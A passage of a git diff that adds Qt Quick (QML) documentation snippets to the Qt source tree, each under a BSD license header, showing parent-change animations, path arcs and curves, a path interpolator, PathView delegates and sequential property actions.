provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Item { + width: 200; height: 100 + + Rectangle { + id: redRect + width: 100; height: 100 + color: "red" + } + + Rectangle { + id: blueRect + x: redRect.width + width: 50; height: 50 + color: "blue" + + states: State { + name: "reparented" + ParentChange { target: blueRect; parent: redRect; x: 10; y: 10 } + } + + transitions: Transition { + ParentAnimation { + NumberAnimation { properties: "x,y"; duration: 1000 } + } + } + + MouseArea { anchors.fill: parent; onClicked: blueRect.state = "reparented" } + } +} +//![0] + diff --git a/src/qml/doc/snippets/qml/parentchange.qml b/src/qml/doc/snippets/qml/parentchange.qml new file mode 100644 index 0000000000..4ae4476e13 --- /dev/null +++ b/src/qml/doc/snippets/qml/parentchange.qml @@ -0,0 +1,67 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Item { + width: 200; height: 100 + + Rectangle { + id: redRect + width: 100; height: 100 + color: "red" + } + + Rectangle { + id: blueRect + x: redRect.width + width: 50; height: 50 + color: "blue" + + states: State { + name: "reparented" + ParentChange { target: blueRect; parent: redRect; x: 10; y: 10 } + } + + MouseArea { anchors.fill: parent; onClicked: blueRect.state = "reparented" } + } +} +//![0] + diff --git a/src/qml/doc/snippets/qml/path/arcdirection.qml b/src/qml/doc/snippets/qml/path/arcdirection.qml new file mode 100644 index 0000000000..7522649607 --- /dev/null +++ b/src/qml/doc/snippets/qml/path/arcdirection.qml @@ -0,0 +1,51 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 +//![0] +Path { + startX: 50; startY: 50 + + PathArc { + x: 150; y: 50 + radiusX: 75; radiusY: 50 + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/path/arcradius.qml b/src/qml/doc/snippets/qml/path/arcradius.qml new file mode 100644 index 0000000000..04f2919270 --- /dev/null +++ b/src/qml/doc/snippets/qml/path/arcradius.qml @@ -0,0 +1,63 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 +//![0] +Path { + startX: 0; startY: 100 + + PathArc { + relativeX: 50; y: 100 + radiusX: 25; radiusY: 15 + } + PathArc { + relativeX: 50; y: 100 + radiusX: 25; radiusY: 25 + } + PathArc { + relativeX: 50; y: 100 + radiusX: 25; radiusY: 50 + } + PathArc { + relativeX: 50; y: 100 + radiusX: 50; radiusY: 100 + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/path/basicarc.qml b/src/qml/doc/snippets/qml/path/basicarc.qml new file mode 100644 index 0000000000..562f2a0adf --- /dev/null +++ b/src/qml/doc/snippets/qml/path/basicarc.qml @@ -0,0 +1,52 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 +//![0] +Path { + startX: 100; startY: 0 + + PathArc { + x: 0; y: 100 + radiusX: 100; radiusY: 100 + useLargeArc: true + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/path/basiccurve.qml b/src/qml/doc/snippets/qml/path/basiccurve.qml new file mode 100644 index 0000000000..feb783cb01 --- /dev/null +++ b/src/qml/doc/snippets/qml/path/basiccurve.qml @@ -0,0 +1,63 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//![0] +import QtQuick 2.0 + +Canvas { + width: 400; height: 200 + + Path { + id: myPath + startX: 0; startY: 100 + + PathCurve { x: 75; y: 75 } + PathCurve { x: 200; y: 150 } + PathCurve { x: 325; y: 25 } + PathCurve { x: 400; y: 100 } + } + + onPaint: { + context.strokeStyle = Qt.rgba(.4,.6,.8); + context.path = myPath; + context.stroke(); + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/path/largearc.qml b/src/qml/doc/snippets/qml/path/largearc.qml new file mode 100644 index 0000000000..69ce953c92 --- /dev/null +++ b/src/qml/doc/snippets/qml/path/largearc.qml @@ -0,0 +1,51 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 +//![0] +Path { + startX: 0; startY: 100 + PathArc { + x: 100; y: 200 + radiusX: 100; radiusY: 100 + direction: PathArc.Clockwise + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/pathinterpolator.qml b/src/qml/doc/snippets/qml/pathinterpolator.qml new file mode 100644 index 0000000000..77cc664e27 --- /dev/null +++ b/src/qml/doc/snippets/qml/pathinterpolator.qml @@ -0,0 +1,74 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Rectangle { + width: 400 + height: 400 + + PathInterpolator { + id: motionPath + + path: Path { + startX: 0; startY: 0 + + PathCubic { + x: 350; y: 350 + + control1X: 350; control1Y: 0 + control2X: 0; control2Y: 350 + } + } + + NumberAnimation on progress { from: 0; to: 1; duration: 2000 } + } + + Rectangle { + width: 50; height: 50 + color: "green" + + //bind our attributes to follow the path as progress changes + x: motionPath.x + y: motionPath.y + rotation: motionPath.angle + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/pathview/ContactModel.qml b/src/qml/doc/snippets/qml/pathview/ContactModel.qml new file mode 100644 index 0000000000..d191413f27 --- /dev/null +++ b/src/qml/doc/snippets/qml/pathview/ContactModel.qml @@ -0,0 +1,58 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//![0] +import QtQuick 2.0 + +ListModel { + ListElement { + name: "Bill Jones" + icon: "pics/qtlogo.png" + } + ListElement { + name: "Jane Doe" + icon: "pics/qtlogo.png" + } + ListElement { + name: "John Smith" + icon: "pics/qtlogo.png" + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/pathview/pathattributes.qml b/src/qml/doc/snippets/qml/pathview/pathattributes.qml new file mode 100644 index 0000000000..d555998650 --- /dev/null +++ b/src/qml/doc/snippets/qml/pathview/pathattributes.qml @@ -0,0 +1,79 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//! [0] +import QtQuick 2.0 + +Rectangle { + width: 240; height: 200 + +//! [1] + Component { + id: delegate + Item { + width: 80; height: 80 + scale: PathView.iconScale + opacity: PathView.iconOpacity + Column { + Image { anchors.horizontalCenter: nameText.horizontalCenter; width: 64; height: 64; source: icon } + Text { id: nameText; text: name; font.pointSize: 16 } + } + } + } +//! [1] + +//! [2] + PathView { + anchors.fill: parent + model: ContactModel {} + delegate: delegate + path: Path { + startX: 120; startY: 100 + PathAttribute { name: "iconScale"; value: 1.0 } + PathAttribute { name: "iconOpacity"; value: 1.0 } + PathQuad { x: 120; y: 25; controlX: 260; controlY: 75 } + PathAttribute { name: "iconScale"; value: 0.3 } + PathAttribute { name: "iconOpacity"; value: 0.5 } + PathQuad { x: 120; y: 100; controlX: -20; controlY: 75 } + } + } +//! [2] +} +//! [0] diff --git a/src/qml/doc/snippets/qml/pathview/pathview.qml b/src/qml/doc/snippets/qml/pathview/pathview.qml new file mode 100644 index 0000000000..e5249d4cb6 --- /dev/null +++ b/src/qml/doc/snippets/qml/pathview/pathview.qml @@ -0,0 +1,80 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//! [0] +import QtQuick 2.0 + +Rectangle { + width: 240; height: 200 + +//! [1] + Component { + id: delegate + Column { + id: wrapper + Image { + anchors.horizontalCenter: nameText.horizontalCenter + width: 64; height: 64 + source: icon + } + Text { + id: nameText + text: name + font.pointSize: 16 + color: wrapper.PathView.isCurrentItem ? "red" : "black" + } + } + } +//! [1] + +//! [2] + PathView { + anchors.fill: parent + model: ContactModel {} + delegate: delegate + path: Path { + startX: 120; startY: 100 + PathQuad { x: 120; y: 25; controlX: 260; controlY: 75 } + PathQuad { x: 120; y: 100; controlX: -20; controlY: 75 } + } + } +//! [2] +} +//! [0] diff --git a/doc/src/snippets/qml/properties.qml b/src/qml/doc/snippets/qml/properties.qml index 21894b68e0..21894b68e0 100644 --- a/doc/src/snippets/qml/properties.qml +++ b/src/qml/doc/snippets/qml/properties.qml diff --git a/src/qml/doc/snippets/qml/propertyaction-sequential.qml b/src/qml/doc/snippets/qml/propertyaction-sequential.qml new file mode 100644 index 0000000000..77d6ec194e --- /dev/null +++ b/src/qml/doc/snippets/qml/propertyaction-sequential.qml @@ -0,0 +1,72 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +import QtQuick 2.0 + +Row { + + Item { + width: 400; height: 400 + + Rectangle { + id: rect + width: 200; height: 100 + color: "red" + + states: State { + name: "rotated" + PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight } + } + + //! [sequential] + transitions: Transition { + SequentialAnimation { + PropertyAction { target: rect; property: "transformOrigin" } + RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise } + } + } + //! [sequential] + + MouseArea { + anchors.fill: parent + onClicked: rect.state = 